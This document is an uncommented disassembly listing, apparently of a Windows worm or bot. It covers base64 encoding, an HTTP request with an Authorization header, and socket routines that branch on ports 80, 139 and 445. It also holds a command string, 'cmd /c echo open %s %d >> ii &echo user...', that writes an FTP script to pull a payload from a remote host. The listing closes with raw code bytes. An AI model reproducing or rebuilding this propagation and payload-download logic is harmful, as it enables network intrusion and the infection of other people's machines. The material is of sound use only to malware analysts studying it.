var_40		= qword	ptr -40h

		mov	eax, offset loc_4230E7
		call	sub_418290
		sub	esp, 2Ch
		mov	al, [ebp+13h]
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		lea	ecx, [ebp-38h]
		push	edi
		mov	[ebp-20h], edi
		mov	[ebp-38h], al
		call	sub_404667
		push	1
		pop	ebx
		push	dword ptr [ebp+10h]
		mov	[ebp-4], ebx
		call	sub_403FE6
		cmp	[ebp-2Ch], eax
		pop	ecx
		jnb	short loc_404074
		push	edi
		push	eax
		lea	ecx, [ebp-38h]
		call	sub_4045E2


loc_404074:				; CODE XREF: sub_404032+36j
		cmp	[ebp+10h], edi
		mov	[ebp-18h], edi
		jbe	loc_404191
		mov	ebx, [ebp+10h]


loc_404083:				; CODE XREF: sub_404032+156j
		cmp	dword ptr [ebp+10h], 3
		jb	short loc_40408D
		push	3
		jmp	short loc_40409F
; ---------------------------------------------------------------------------


loc_40408D:				; CODE XREF: sub_404032+55j
		cmp	dword ptr [ebp+10h], 2
		jnz	short loc_404097
		push	2
		jmp	short loc_40409F
; ---------------------------------------------------------------------------


loc_404097:				; CODE XREF: sub_404032+5Fj
		cmp	dword ptr [ebp+10h], 1
		jnz	short loc_4040A0
		push	1


loc_40409F:				; CODE XREF: sub_404032+59j
					; sub_404032+63j
		pop	ebx


loc_4040A0:				; CODE XREF: sub_404032+69j
		mov	[ebp-28h], ebx
		mov	[ebp-24h], edi
		fild	qword ptr [ebp-28h]
		push	ecx
		push	ecx		; double
		fmul	dbl_424288
		fstp	[esp+40h+var_40]
		call	sub_417DEB
		pop	ecx
		pop	ecx
		call	sub_417DC4
		cmp	ebx, edi
		mov	[ebp-1Ch], eax
		jbe	short loc_4040DF
		mov	esi, [ebp+0Ch]
		mov	ecx, ebx
		mov	edx, ecx
		lea	edi, [ebp-10h]
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		xor	edi, edi


loc_4040DF:				; CODE XREF: sub_404032+93j
		mov	cl, [ebp-10h]
		mov	dl, [ebp-10h]
		sar	cl, 2
		and	cl, 3Fh
		and	dl, 3
		mov	[ebp-14h], cl
		mov	cl, [ebp-0Fh]
		sar	cl, 4
		and	cl, 0Fh
		add	[ebp+0Ch], ebx
		shl	dl, 4
		add	cl, dl
		mov	dl, [ebp-0Fh]
		mov	[ebp-13h], cl
		mov	cl, [ebp-0Eh]
		sar	cl, 6
		and	dl, 0Fh
		sub	[ebp+10h], ebx
		and	cl, 3
		xor	esi, esi
		shl	dl, 2
		add	cl, dl
		mov	[ebp-12h], cl
		mov	cl, [ebp-0Eh]
		and	cl, 3Fh
		cmp	eax, edi
		mov	[ebp-11h], cl
		jbe	short loc_40414D
		add	[ebp-18h], eax


loc_404131:				; CODE XREF: sub_404032+119j
		movsx	eax, byte ptr [ebp+esi-14h]
		lea	ecx, [ebp-38h]
		mov	al, byte_42876C[eax]
		push	eax
		push	1
		call	sub_404464
		inc	esi
		cmp	esi, [ebp-1Ch]
		jb	short loc_404131


loc_40414D:				; CODE XREF: sub_404032+FAj
		cmp	dword ptr [ebp-18h], 48h
		jb	short loc_40416B
		push	dword ptr [ebp+14h]
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	ecx, [ebp-38h]
		push	dword ptr [ebp+14h]
		call	sub_4044BD
		mov	[ebp-18h], edi


loc_40416B:				; CODE XREF: sub_404032+11Fj
		push	4
		pop	esi
		cmp	[ebp-1Ch], esi
		jnb	short loc_404185
		sub	esi, [ebp-1Ch]


loc_404176:				; CODE XREF: sub_404032+151j
		push	3Dh
		push	1
		lea	ecx, [ebp-38h]
		call	sub_404464
		dec	esi
		jnz	short loc_404176


loc_404185:				; CODE XREF: sub_404032+13Fj
		cmp	[ebp+10h], edi
		ja	loc_404083
		push	1
		pop	ebx


loc_404191:				; CODE XREF: sub_404032+48j
		mov	esi, [ebp+8]
		mov	al, [ebp-38h]
		push	edi
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		push	dword_424280
		lea	eax, [ebp-38h]
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_404514
		mov	[ebp-20h], ebx
		and	byte ptr [ebp-4], 0
		push	ebx
		lea	ecx, [ebp-38h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_404032	endp


; =============== S U B	R O U T	I N E =======================================



sub_4041D4	proc near		; CODE XREF: ___:004043CFp
		mov	eax, offset loc_423104
		call	sub_418290
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		push	offset byte_43C80C
		lea	eax, [ebp-1Ch]
		push	dword ptr [ebp+10h]
		xor	ebx, ebx
		mov	[ebp-4], ebx
		push	dword ptr [ebp+0Ch]
		push	eax
		call	sub_404032
		mov	eax, [ebp+1Ch]
		mov	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 1
		lea	esi, [ecx+eax+36h]
		push	esi
		call	sub_417B89
		mov	edi, eax
		add	esp, 14h
		cmp	edi, ebx
		jnz	short loc_40421E
		xor	bl, bl
		jmp	short loc_404262
; ---------------------------------------------------------------------------


loc_40421E:				; CODE XREF: sub_4041D4+44j
		mov	ecx, [ebp-18h]
		mov	eax, offset dword_424290
		cmp	ecx, ebx
		jnz	short loc_40422C
		mov	ecx, eax


loc_40422C:				; CODE XREF: sub_4041D4+54j
		cmp	[ebp+18h], ebx
		jz	short loc_404234
		mov	eax, [ebp+18h]


loc_404234:				; CODE XREF: sub_4041D4+5Bj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi
		push	edi
		call	sub_41782A
		add	esp, 14h
		push	ebx
		push	esi
		push	edi
		push	dword ptr [ebp+8]
		call	dword_43F6B8
		cmp	eax, esi
		jz	short loc_404259
		xor	bl, bl
		jmp	short loc_40425B
; ---------------------------------------------------------------------------


loc_404259:				; CODE XREF: sub_4041D4+7Fj
		mov	bl, 1


loc_40425B:				; CODE XREF: sub_4041D4+83j
		push	edi
		call	sub_417C3B
		pop	ecx


loc_404262:				; CODE XREF: sub_4041D4+48j
		and	byte ptr [ebp-4], 0
		push	1
		lea	ecx, [ebp-1Ch]
		call	sub_404667
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	1
		lea	ecx, [ebp+14h]
		call	sub_404667
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_4041D4	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		and	byte ptr [ebp-420h], 0
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0FFh
		xor	eax, eax
		lea	edi, [ebp-41Fh]
		push	8Fh
		rep stosd
		stosw
		stosb
		lea	eax, [ebp-420h]
		push	offset sub_428918
		push	eax
		call	sub_417390
		add	esp, 0Ch
		mov	eax, offset byte_42F678
		push	eax
		push	eax
		push	dword_43C83C
		push	dword ptr [ebp+8]
		call	sub_40AEE0
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	sub_41782A
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset sub_4287B0
		push	eax
		call	sub_403A90
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40432B
		xor	eax, eax
		jmp	loc_404457
; ---------------------------------------------------------------------------


loc_40432B:				; CODE XREF: ___:00404322j
		mov	[ebp-0Ch], esi


loc_40432E:				; CODE XREF: ___:0040442Ej
		test	esi, esi
		jnz	loc_404434
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40441C
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		push	dword ptr [ebp+0A8h]
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_43F668
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43F6A8
		mov	[ebp-18h], eax
		lea	eax, [ebp-1Ch]
		push	10h
		push	eax
		push	ebx
		call	dword_43F610
		cmp	eax, 0FFFFFFFFh
		jz	loc_404411
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_4043D9
		mov	al, [ebp+0C3h]
		sub	esp, 10h
		mov	esi, esp
		mov	[ebp-20h], esp
		push	0
		mov	ecx, esi
		mov	[esi], al
		call	sub_404667
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_4046A3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_4041D4
		add	esp, 1Ch
		jmp	short loc_40440E
; ---------------------------------------------------------------------------


loc_4043D9:				; CODE XREF: ___:00404397j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_4043F3
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403F94
		jmp	short loc_40440B
; ---------------------------------------------------------------------------


loc_4043F3:				; CODE XREF: ___:004043E3j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_404411
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_403EBA


loc_40440B:				; CODE XREF: ___:004043F1j
		add	esp, 0Ch


loc_40440E:				; CODE XREF: ___:004043D7j
		movzx	esi, al


loc_404411:				; CODE XREF: ___:0040438Aj
					; ___:004043FDj
		push	ebx
		call	dword_43F700
		test	esi, esi
		jnz	short loc_404427


loc_40441C:				; CODE XREF: ___:00404347j
		push	3E8h
		nop
		call	near ptr 260048Fh


loc_404427:				; CODE XREF: ___:0040441Aj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40432E


loc_404434:				; CODE XREF: ___:00404330j
		lea	ecx, [ebp-8]
		call	sub_4038B5
		test	esi, esi
		jz	short loc_404455
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		inc	dword_42ACB8[eax]
		lea	eax, dword_42ACB8[eax]


loc_404455:				; CODE XREF: ___:0040443Ej
		mov	eax, esi


loc_404457:				; CODE XREF: ___:00404326j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4230C8


loc_40445C:				; CODE XREF: sub_4230C8+3j
					; ___:004230E1j ...
		push	1
		call	sub_404667
		retn
; END OF FUNCTION CHUNK	FOR sub_4230C8

; =============== S U B	R O U T	I N E =======================================



sub_404464	proc near		; CODE XREF: sub_404032+110p
					; sub_404032+14Bp

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_40447E
		call	sub_42298A


loc_40447E:				; CODE XREF: sub_404464+13j
		test	ebx, ebx
		jbe	short loc_4044B5
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4044B5
		movsx	eax, [esp+0Ch+arg_4]
		push	ebx
		push	eax
		mov	eax, [esi+4]
		add	eax, [esi+8]
		push	eax
		call	sub_417330
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_4044B5:				; CODE XREF: sub_404464+1Cj
					; sub_404464+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_404464	endp


; =============== S U B	R O U T	I N E =======================================



sub_4044BD	proc near		; CODE XREF: sub_404032+131p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, dword_424280
		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, ecx
		push	edi
		sub	eax, [esi+8]
		cmp	eax, ebx
		ja	short loc_4044D7
		call	sub_42298A


loc_4044D7:				; CODE XREF: sub_4044BD+13j
		test	ebx, ebx
		jbe	short loc_40450C
		mov	edi, ebx
		push	0
		add	edi, [esi+8]
		mov	ecx, esi
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_40450C
		mov	eax, [esi+8]
		push	ebx
		push	[esp+10h+arg_0]
		add	eax, [esi+4]
		push	eax
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [edi+eax], 0


loc_40450C:				; CODE XREF: sub_4044BD+1Cj
					; sub_4044BD+2Fj
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4044BD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404514	proc near		; CODE XREF: sub_404032+17Cp
					; sub_4228A0+15p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		mov	edi, ecx
		cmp	[ebx+8], eax
		jnb	short loc_40452C
		call	sub_422863


loc_40452C:				; CODE XREF: sub_404514+11j
		mov	eax, [ebx+8]
		mov	ecx, [ebp+arg_4]
		mov	esi, eax
		sub	esi, ecx
		cmp	[ebp+arg_8], esi
		jnb	short loc_40453E
		mov	esi, [ebp+arg_8]


loc_40453E:				; CODE XREF: sub_404514+25j
		cmp	edi, ebx
		jnz	short loc_404560
		push	dword_424280
		add	esi, ecx
		mov	ecx, edi
		push	esi
		call	sub_4046D8
		push	[ebp+arg_4]
		mov	ecx, edi
		push	0
		call	sub_4046D8
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------


loc_404560:				; CODE XREF: sub_404514+2Cj
		test	esi, esi
		jbe	short loc_4045A3
		cmp	esi, eax
		jnz	short loc_4045A3
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_404574
		mov	eax, offset dword_424290


loc_404574:				; CODE XREF: sub_404514+59j
		cmp	byte ptr [eax-1], 0FEh
		jnb	short loc_4045A3
		push	1
		mov	ecx, edi
		call	sub_404667
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_40458F
		mov	eax, offset dword_424290


loc_40458F:				; CODE XREF: sub_404514+74j
		mov	[edi+4], eax
		mov	ecx, [ebx+8]
		mov	[edi+8], ecx
		mov	ecx, [ebx+0Ch]
		mov	[edi+0Ch], ecx
		inc	byte ptr [eax-1]
		jmp	short loc_4045D9
; ---------------------------------------------------------------------------


loc_4045A3:				; CODE XREF: sub_404514+4Ej
					; sub_404514+52j ...
		push	1
		push	esi
		mov	ecx, edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4045D9
		mov	eax, [ebx+4]
		test	eax, eax
		jnz	short loc_4045BD
		mov	eax, offset dword_424290


loc_4045BD:				; CODE XREF: sub_404514+A2j
		mov	ecx, [ebp+arg_4]
		push	esi
		add	eax, ecx
		push	eax
		push	dword ptr [edi+4]
		call	sub_417390
		mov	eax, [edi+4]
		add	esp, 0Ch
		mov	[edi+8], esi
		and	byte ptr [eax+esi], 0


loc_4045D9:				; CODE XREF: sub_404514+4Aj
					; sub_404514+8Dj ...
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	0Ch
sub_404514	endp


; =============== S U B	R O U T	I N E =======================================



sub_4045E2	proc near		; CODE XREF: sub_404032+3Dp
					; sub_404464+28p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		jbe	short loc_4045F4
		call	sub_42298A


loc_4045F4:				; CODE XREF: sub_4045E2+Bj
		mov	ecx, [esi+4]
		xor	edx, edx
		cmp	ecx, edx
		jz	short loc_40461D
		mov	al, [ecx-1]
		cmp	al, dl
		jz	short loc_40461D
		cmp	al, 0FFh
		jz	short loc_40461D
		cmp	edi, edx
		jnz	short loc_404658
		dec	al
		push	edx
		mov	[ecx-1], al


loc_404612:				; CODE XREF: sub_4045E2+47j
		mov	ecx, esi
		call	sub_404667


loc_404619:				; CODE XREF: sub_4045E2+4Bj
					; sub_4045E2+52j
		xor	al, al
		jmp	short loc_404662
; ---------------------------------------------------------------------------


loc_40461D:				; CODE XREF: sub_4045E2+19j
					; sub_4045E2+20j ...
		cmp	edi, edx
		jnz	short loc_404636
		cmp	[esp+8+arg_4], dl
		jz	short loc_40462B
		push	1
		jmp	short loc_404612
; ---------------------------------------------------------------------------


loc_40462B:				; CODE XREF: sub_4045E2+43j
		cmp	ecx, edx
		jz	short loc_404619
		mov	[esi+8], edx
		mov	[ecx], dl
		jmp	short loc_404619
; ---------------------------------------------------------------------------


loc_404636:				; CODE XREF: sub_4045E2+3Dj
		cmp	[esp+8+arg_4], dl
		jz	short loc_404653
		mov	eax, [esi+0Ch]
		cmp	eax, 1Fh
		ja	short loc_404648
		cmp	eax, edi
		jnb	short loc_404660


loc_404648:				; CODE XREF: sub_4045E2+60j
		push	1
		mov	ecx, esi
		call	sub_404667
		jmp	short loc_404658
; ---------------------------------------------------------------------------


loc_404653:				; CODE XREF: sub_4045E2+58j
		cmp	[esi+0Ch], edi
		jnb	short loc_404660


loc_404658:				; CODE XREF: sub_4045E2+28j
					; sub_4045E2+6Fj
		push	edi
		mov	ecx, esi
		call	sub_40473F


loc_404660:				; CODE XREF: sub_4045E2+64j
					; sub_4045E2+74j
		mov	al, 1


loc_404662:				; CODE XREF: sub_4045E2+39j
		pop	edi
		pop	esi
		retn	8
sub_4045E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_404667	proc near		; CODE XREF: sub_404032+1Fp
					; sub_404032+16Ap ...

arg_0		= byte ptr  4

		cmp	[esp+arg_0], 0
		push	esi
		mov	esi, ecx
		jz	short loc_404693
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_404693
		lea	ecx, [eax-1]
		mov	al, [eax-1]
		test	al, al
		jz	short loc_40468C
		cmp	al, 0FFh
		jz	short loc_40468C
		dec	al
		mov	[ecx], al
		jmp	short loc_404693
; ---------------------------------------------------------------------------


loc_40468C:				; CODE XREF: sub_404667+19j
					; sub_404667+1Dj
		push	ecx
		call	sub_4182AF
		pop	ecx


loc_404693:				; CODE XREF: sub_404667+8j
					; sub_404667+Fj ...
		and	dword ptr [esi+4], 0
		and	dword ptr [esi+8], 0
		and	dword ptr [esi+0Ch], 0
		pop	esi
		retn	4
sub_404667	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046A3	proc near		; CODE XREF: ___:004043C3p
					; sub_4047FC+28p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, [esp+8+arg_4]
		push	1
		mov	esi, ecx
		push	edi
		call	sub_4045E2
		test	al, al
		jz	short loc_4046D1
		push	edi
		push	[esp+0Ch+arg_0]
		push	dword ptr [esi+4]
		call	sub_417390
		mov	eax, [esi+4]
		add	esp, 0Ch
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0


loc_4046D1:				; CODE XREF: sub_4046A3+12j
		mov	eax, esi
		pop	edi
		pop	esi
		retn	8
sub_4046A3	endp


; =============== S U B	R O U T	I N E =======================================



sub_4046D8	proc near		; CODE XREF: sub_404514+39p
					; sub_404514+45p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, ecx
		cmp	[edi+8], esi
		jnb	short loc_4046EB
		call	sub_422863


loc_4046EB:				; CODE XREF: sub_4046D8+Cj
		mov	ecx, edi
		call	sub_4047FC
		mov	eax, [edi+8]
		mov	ebx, [esp+0Ch+arg_4]
		sub	eax, esi
		cmp	eax, ebx
		jnb	short loc_404701
		mov	ebx, eax


loc_404701:				; CODE XREF: sub_4046D8+25j
		test	ebx, ebx
		jbe	short loc_404737
		mov	ecx, [edi+4]
		sub	eax, ebx
		add	ecx, esi
		push	eax
		lea	eax, [ecx+ebx]
		push	eax
		push	ecx
		call	sub_4182C0
		mov	esi, [edi+8]
		add	esp, 0Ch
		sub	esi, ebx
		mov	ecx, edi
		push	0
		push	esi
		call	sub_4045E2
		test	al, al
		jz	short loc_404737
		mov	eax, [edi+4]
		mov	[edi+8], esi
		and	byte ptr [esi+eax], 0


loc_404737:				; CODE XREF: sub_4046D8+2Bj
					; sub_4046D8+53j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_4046D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40473F	proc near		; CODE XREF: sub_4045E2+79p
		mov	eax, offset loc_423110
		call	sub_418290
		sub	esp, 0Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		or	edi, 1Fh
		mov	esi, ecx
		cmp	edi, 0FFFFFFFDh
		mov	[ebp-10h], esp
		mov	[ebp-14h], esi
		jbe	short loc_404765
		mov	edi, [ebp+8]


loc_404765:				; CODE XREF: sub_40473F+21j
		and	dword ptr [ebp-4], 0
		lea	eax, [edi+2]
		test	eax, eax
		jge	short loc_404772
		xor	eax, eax


loc_404772:				; CODE XREF: sub_40473F+2Fj
		push	eax
		call	sub_4185F5
		pop	ecx
		mov	[ebp+8], eax
		jmp	short loc_4047A3
; ---------------------------------------------------------------------------


loc_40477E:				; DATA XREF: ___:00424F9Co
		mov	eax, [ebp+8]
		mov	[ebp-18h], eax
		add	eax, 2
		test	eax, eax
		jge	short loc_40478D
		xor	eax, eax


loc_40478D:				; CODE XREF: sub_40473F+4Aj
		push	eax
		call	sub_4185F5
		mov	[ebp+8], eax
		pop	ecx
		mov	eax, offset loc_40479D
		retn
; ---------------------------------------------------------------------------


loc_40479D:				; DATA XREF: sub_40473F+58o
		mov	esi, [ebp-14h]
		mov	edi, [ebp-18h]


loc_4047A3:				; CODE XREF: sub_40473F+3Dj
		mov	eax, [esi+8]
		test	eax, eax
		jbe	short loc_4047C1
		cmp	eax, edi
		jbe	short loc_4047B0
		mov	eax, edi


loc_4047B0:				; CODE XREF: sub_40473F+6Dj
		push	eax
		mov	eax, [ebp+8]
		push	dword ptr [esi+4]
		inc	eax
		push	eax
		call	sub_417390
		add	esp, 0Ch


loc_4047C1:				; CODE XREF: sub_40473F+69j
		mov	ebx, [esi+8]
		push	1
		mov	ecx, esi
		call	sub_404667
		mov	eax, [ebp+8]
		inc	eax
		mov	[esi+4], eax
		and	byte ptr [eax-1], 0
		cmp	ebx, edi
		mov	[esi+0Ch], edi
		ja	short loc_4047E1
		mov	edi, ebx


loc_4047E1:				; CODE XREF: sub_40473F+9Ej
		mov	eax, [esi+4]
		mov	ecx, [ebp-0Ch]
		mov	[esi+8], edi
		and	byte ptr [eax+edi], 0
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_40473F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4047FC	proc near		; CODE XREF: sub_4046D8+15p
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, [edi+4]
		test	esi, esi
		jz	short loc_404829
		mov	al, [esi-1]
		test	al, al
		jz	short loc_404829
		cmp	al, 0FFh
		jz	short loc_404829
		push	1
		call	sub_404667
		push	esi
		call	sub_417AB0
		pop	ecx
		push	eax
		push	esi
		mov	ecx, edi
		call	sub_4046A3


loc_404829:				; CODE XREF: sub_4047FC+9j
					; sub_4047FC+10j ...
		pop	edi
		pop	esi
		retn
sub_4047FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_40482C	proc near		; DATA XREF: ___:00426008o
		test	byte_48A30C, 1
		jnz	short loc_40483C
		or	byte_48A30C, 1


loc_40483C:				; CODE XREF: sub_40482C+7j
		jmp	$+5
		push	offset nullsub_1
		call	sub_418670
		pop	ecx
		retn
sub_40482C	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40484E	proc near		; DATA XREF: ___:0042600Co
		jmp	$+5
sub_40484E	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_404853	proc near
		mov	eax, dword_428BE0
		add	eax, 6
		mov	dword_43C828, eax
		retn
sub_404853	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404861	proc near		; CODE XREF: sub_404861+D0p
					; ___:00404DC0p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_7		= byte ptr  0Fh
arg_C		= word ptr  14h
arg_14		= dword	ptr  1Ch
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= byte ptr  30h
arg_2B		= byte ptr  33h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		cmp	[ebp+arg_28], 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_404875
		or	[ebp+arg_7], 1
		jmp	short loc_404879
; ---------------------------------------------------------------------------


loc_404875:				; CODE XREF: sub_404861+Cj
		and	[ebp+arg_7], 0FEh


loc_404879:				; CODE XREF: sub_404861+12j
		mov	ecx, [ebp+arg_24]
		mov	ebx, [ebp+arg_20]
		movzx	eax, cx
		lea	edx, [ebx+18h]
		cmp	edx, eax
		ja	short loc_40489D
		or	[ebp+arg_7], 2
		and	[ebp+arg_2B], 0
		lea	eax, [ebx+18h]
		mov	[ebp+arg_14], ebx
		mov	[ebp+arg_C], ax
		jmp	short loc_4048AF
; ---------------------------------------------------------------------------


loc_40489D:				; CODE XREF: sub_404861+26j
		add	eax, 0FFFFFFE8h
		and	[ebp+arg_7], 0FDh
		mov	[ebp+arg_C], cx
		mov	[ebp+arg_14], eax
		mov	[ebp+arg_2B], 1


loc_4048AF:				; CODE XREF: sub_404861+3Aj
		movzx	eax, [ebp+arg_C]
		push	eax
		mov	[ebp+var_4], eax
		call	sub_417B89
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_20], eax
		jz	loc_404948
		push	6
		lea	esi, [ebp+arg_4]
		pop	ecx
		mov	edi, eax
		rep movsd
		mov	edi, [ebp+arg_14]
		mov	esi, [ebp+arg_1C]
		push	edi
		add	eax, 18h
		push	esi
		push	eax
		call	sub_417390
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	0
		push	eax
		push	[ebp+var_4]
		push	[ebp+arg_20]
		push	[ebp+arg_0]
		nop
		call	near ptr 2640000h
		test	eax, eax
		jz	short loc_40493F
		mov	eax, [ebp+var_4]
		cmp	[ebp+var_8], eax
		jnz	short loc_40493F
		push	[ebp+arg_20]
		call	sub_417C3B
		cmp	[ebp+arg_2B], 0
		pop	ecx
		jz	short loc_40493B
		push	0
		sub	ebx, edi
		push	[ebp+arg_24]
		add	edi, esi
		lea	esi, [ebp+arg_4]
		push	ebx
		push	edi
		sub	esp, 18h
		push	6
		pop	ecx
		mov	edi, esp
		push	[ebp+arg_0]
		rep movsd
		call	sub_404861
		add	esp, 2Ch
		jmp	short loc_40494A
; ---------------------------------------------------------------------------


loc_40493B:				; CODE XREF: sub_404861+B3j
		mov	al, 1
		jmp	short loc_40494A
; ---------------------------------------------------------------------------


loc_40493F:				; CODE XREF: sub_404861+9Cj
					; sub_404861+A4j
		push	[ebp+arg_20]
		call	sub_417C3B
		pop	ecx


loc_404948:				; CODE XREF: sub_404861+61j
		xor	al, al


loc_40494A:				; CODE XREF: sub_404861+D8j
					; sub_404861+DCj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_404861	endp

; ---------------------------------------------------------------------------
		db  55h	; U
		db  8Bh	; 
		db 0ECh	; 
		db 0B8h	; 
		db 0DCh	; 
		db  60h	; `
		db    0
		db    0
		db 0E8h	; 
		db 0D4h	; 
		db  31h	; 1
		db    1
		db    0
		db  53h	; S
		db  56h	; V
		db  57h	; W
		db  68h	; h
		db  5Ch	; \
		db  8Ch	; 
		db  42h	; B
		db    0
		db 0FFh
		db  75h	; u
		db    8
		db 0E8h	; 
		db  24h	; $
		db  3Eh	; >
		db    1
		db    0
		db  59h	; Y
		db  33h	; 3
		db 0DBh	; 
		db  85h	; 
		db 0C0h	; 
		db  59h	; Y
		db  74h	; t
		db  4Eh	; N
		db 0FFh
		db  75h	; u
		db    8
		db 0BEh	; 
		db    0
		db  20h
		db    0
		db    0
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0DFh	; 
		db 0FFh
		db 0FFh
		db  68h	; h
		db  28h	; (
		db  86h	; 
		db  42h	; B
		db    0
		db  56h	; V
		db  50h	; P
		db 0E8h	; 
		db  9Ch	; 
		db  2Eh	; .
		db    1
		db    0
		db  6Ah	; j
		db  20h
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0FFh
		db 0FFh
		db 0FFh
		db  53h	; S
		db  50h	; P
		db 0E8h	; 
		db  93h	; 
		db  29h	; )
		db    1
		db    0
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0DFh	; 
		db 0FFh
		db 0FFh
		db  83h	; 
		db 0C4h	; 
		db  1Ch
		db  89h	; 
		db  85h	; 
		db  38h	; 8
		db 0FFh
		db 0FFh
		db 0FFh
		db 0B8h	; 
		db  0Ch
		db 0C8h	; 
		db  43h	; C
		db    0
		db  53h	; S
		db  50h	; P
		db  50h	; P
		db  8Dh	; 
		db  85h	; 
		db  24h	; $
		db 0FFh
